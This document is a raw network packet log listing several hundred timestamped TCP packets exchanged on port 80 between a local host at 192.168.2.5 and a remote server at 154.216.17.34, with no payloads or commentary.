Oct 31, 2024 02:09:15.070867062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070878983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070887089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070923090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071419954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071460962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071476936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071491957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071506023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071512938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071520090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071535110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071554899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071580887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071587086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071594000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071614027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071640015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071655035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071655035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071670055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071671963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071702003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071702003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071727037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071736097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071767092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071820021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071862936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071882963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071906090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071918964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071929932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071939945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071948051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071954966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071969032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071971893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.071991920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.071994066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072006941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072021008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072027922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072033882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072063923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072069883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072084904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072097063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072132111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072200060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072218895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072233915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072246075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072247982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072263002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072277069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072278976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072300911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072314978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072316885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072329998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.072349072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.072376966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.107719898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107755899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107774973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107845068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107861996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107865095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.107887030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107903004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107908010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.107918978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107932091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.107934952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107952118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107966900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.107989073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.107990980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108026981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108035088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108050108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108052969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108069897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108088970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108108044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108109951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108128071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108133078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108164072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108186007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108203888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108241081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108254910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108289003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108325005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108371019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.108391047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.108438969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122380018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122397900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122421980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122437000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122462034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122473001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122477055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122509003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122523069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122525930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122538090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122550964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122555017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122565985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122589111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122594118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122601986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122617960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122629881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122639894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122652054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122653961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122678041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122689009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122695923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122733116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122900009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122919083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122931957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122947931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122987986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.122997999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.122997999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123039007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123096943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123111010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123123884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123138905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123153925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123156071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123183012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123217106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123220921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123239994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123251915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123277903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123290062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123308897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123341084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123353004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123353004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123368025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123394012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123398066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123413086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123428106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123433113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123449087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123461008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123469114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123497009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123507023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123512030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123543024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123544931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123558998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123575926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123577118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123589993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123600006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123635054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123636961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123648882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123677015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123707056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123733997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123764992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123778105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.123806000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.123836994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134175062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134202957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134215117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134238005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134259939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134274960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134284019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134288073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134304047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134316921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134332895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134336948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134345055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134358883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134361029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134373903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134392977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134408951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134423018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134424925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134435892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134449005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134464025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134470940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134479046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134493113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134517908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134524107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134547949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134561062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134574890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134592056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134602070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134604931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134620905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134658098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134684086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134696960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134711027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134725094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134743929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134746075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134761095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134761095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134776115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134785891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134789944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134799004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134816885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134819031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134845018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134876013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.134968042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.134982109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135004044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135018110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135024071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135034084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135046959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135047913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135080099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135097980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135099888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135142088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135165930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135179043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135194063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135207891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135212898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135237932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135243893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135257959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135267973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135307074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135338068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135380030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135385990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135404110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135422945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135443926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135452986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135498047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135644913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135658979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135674953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135696888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135704041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135711908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135741949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135760069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135835886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135852098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135864973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135885000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135905027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135926008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135938883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135967970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135972977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.135984898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.135998011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136003017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136013985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136025906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136034012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136048079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136063099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136076927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136080980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136080980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136121988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136193991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136255026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136301994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136305094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136321068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136337042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136349916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136367083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136394978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136447906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136464119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136477947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136492014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136512041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136516094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136529922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136548042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136568069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136569023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136574984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136581898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136595011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136595011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136610985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136629105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136647940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136655092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136667967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136674881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136682034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136698008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136703014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136723995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136732101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136744976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136759043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136759996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136781931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136790037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136795998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136810064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136822939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136832952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136841059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136847019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136859894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136878014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136882067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136898041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136912107 CET	49982	80	192.168.2.5	154.216.17.34
